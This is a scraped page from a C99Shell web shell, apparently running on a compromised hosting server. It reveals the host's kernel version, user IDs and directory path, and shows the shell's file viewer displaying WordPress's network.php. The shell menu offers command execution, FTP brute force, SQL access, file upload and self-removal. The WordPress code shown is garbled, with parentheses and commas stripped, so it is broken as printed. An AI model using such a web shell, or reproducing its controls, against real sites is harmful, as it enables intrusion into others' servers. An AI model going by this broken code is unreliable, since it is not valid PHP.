!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-admin/   drwxr-xr-x
Free 183.11 GB of 490.84 GB (37.3%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     network.php (5.17 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Network installation administration panel.
 *
 * A multi-step process allowing the user to enable a network of WordPress sites.
 *
 * @since 3.0.0
 *
 * @package WordPress
 * @subpackage Administration
 */

define'WP_INSTALLING_NETWORK'true );

/** WordPress Administration Bootstrap */
require_once( dirname__FILE__ ) . '/admin.php' );

if ( ! 
is_super_admin() ) {
    
wp_die__'Sorry, you are not allowed to manage options for this site.' ) );
}

if ( 
is_multisite() ) {
    if ( ! 
is_network_admin() ) {
        
wp_redirectnetwork_admin_url'setup.php' ) );
        exit;
    }

    if ( ! 
defined'MULTISITE' ) ) {
        
wp_die__'The Network creation panel is not for WordPress MU networks.' ) );
    }
}

require_once( 
dirname__FILE__ ) . '/includes/network.php' );

// We need to create references to ms global tables to enable Network.
foreach ( $wpdb->tables'ms_global' ) as $table => $prefixed_table ) {
    
$wpdb->$table $prefixed_table;
}

if ( ! 
network_domain_check() && ( ! defined'WP_ALLOW_MULTISITE' ) || ! WP_ALLOW_MULTISITE ) ) {
    
wp_die(
        
printf(
            
/* translators: 1: WP_ALLOW_MULTISITE 2: wp-config.php */
            
__'You must define the %1$s constant as true in your %2$s file to allow creation of a Network.' ),
            
'<code>WP_ALLOW_MULTISITE</code>',
            
'<code>wp-config.php</code>'
        
)
    );
}

if ( 
is_network_admin() ) {
    
$title __'Network Setup' );
    
$parent_file 'settings.php';
} else {
    
$title __'Create a Network of WordPress Sites' );
    
$parent_file 'tools.php';
}

$network_help '<p>' __('This screen allows you to configure a network as having subdomains (<code>site1.example.com</code>) or subdirectories (<code>example.com/site1</code>). Subdomains require wildcard subdomains to be enabled in Apache and DNS records, if your host allows it.') . '</p>' .
    
'<p>' __('Choose subdomains or subdirectories; this can only be switched afterwards by reconfiguring your install. Fill out the network details, and click install. If this does not work, you may have to add a wildcard DNS record (for subdomains) or change to another setting in Permalinks (for subdirectories).') . '</p>' .
    
'<p>' __('The next screen for Network Setup will give you individually-generated lines of code to add to your wp-config.php and .htaccess files. Make sure the settings of your FTP client make files starting with a dot visible, so that you can find .htaccess; you may have to create this file if it really is not there. Make backup copies of those two files.') . '</p>' .
    
'<p>' __('Add the designated lines of code to wp-config.php (just before <code>/*...stop editing...*/</code>) and <code>.htaccess</code> (replacing the existing WordPress rules).') . '</p>' .
    
'<p>' __('Once you add this code and refresh your browser, multisite should be enabled. This screen, now in the Network Admin navigation menu, will keep an archive of the added code. You can toggle between Network Admin and Site Admin by clicking on the Network Admin or an individual site name under the My Sites dropdown in the Toolbar.') . '</p>' .
    
'<p>' __('The choice of subdirectory sites is disabled if this setup is more than a month old because of permalink problems with &#8220;/blog/&#8221; from the main site. This disabling will be addressed in a future version.') . '</p>' .
    
'<p><strong>' __('For more information:') . '</strong></p>' .
    
'<p>' __'<a href="https://codex.wordpress.org/Create_A_Network">Documentation on Creating a Network</a>' ) . '</p>' .
    
'<p>' __'<a href="https://codex.wordpress.org/Tools_Network_Screen">Documentation on the Network Screen</a>' ) . '</p>';

get_current_screen()->add_help_tab( array(
    
'id'      => 'network',
    
'title'   => __('Network'),
    
'content' => $network_help,
) );

get_current_screen()->set_help_sidebar(
    
'<p><strong>' __('For more information:') . '</strong></p>' .
    
'<p>' __'<a href="https://codex.wordpress.org/Create_A_Network">Documentation on Creating a Network</a>' ) . '</p>' .
    
'<p>' __'<a href="https://codex.wordpress.org/Tools_Network_Screen">Documentation on the Network Screen</a>' ) . '</p>' .
    
'<p>' __'<a href="https://wordpress.org/support/">Support Forums</a>' ) . '</p>'
);

include( 
ABSPATH 'wp-admin/admin-header.php' );
?>
<div class="wrap">
<h1><?php echo esc_html$title ); ?></h1>

<?php
if ( $_POST ) {

    
check_admin_referer'install-network-1' );

    require_once( 
ABSPATH 'wp-admin/includes/upgrade.php' );
    
// Create network tables.
    
install_network();
    
$base              parse_urltrailingslashitget_option'home' ) ), PHP_URL_PATH );
    
$subdomain_install allow_subdomain_install() ? !empty( $_POST['subdomain_install'] ) : false;
    if ( ! 
network_domain_check() ) {
        
$result populate_network1get_clean_basedomain(), sanitize_email$_POST['email'] ), wp_unslash$_POST['sitename'] ), $base$subdomain_install );
        if ( 
is_wp_error$result ) ) {
            if ( 
== count$result->get_error_codes() ) && 'no_wildcard_dns' == $result->get_error_code() )
                
network_step2$result );
            else
                
network_step1$result );
        } else {
            
network_step2();
        }
    } else {
        
network_step2();
    }
} elseif ( 
is_multisite() || network_domain_check() ) {
    
network_step2();
} else {
    
network_step1();
}
?>
</div>

<?php include( ABSPATH 'wp-admin/admin-footer.php' ); ?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0101 ]--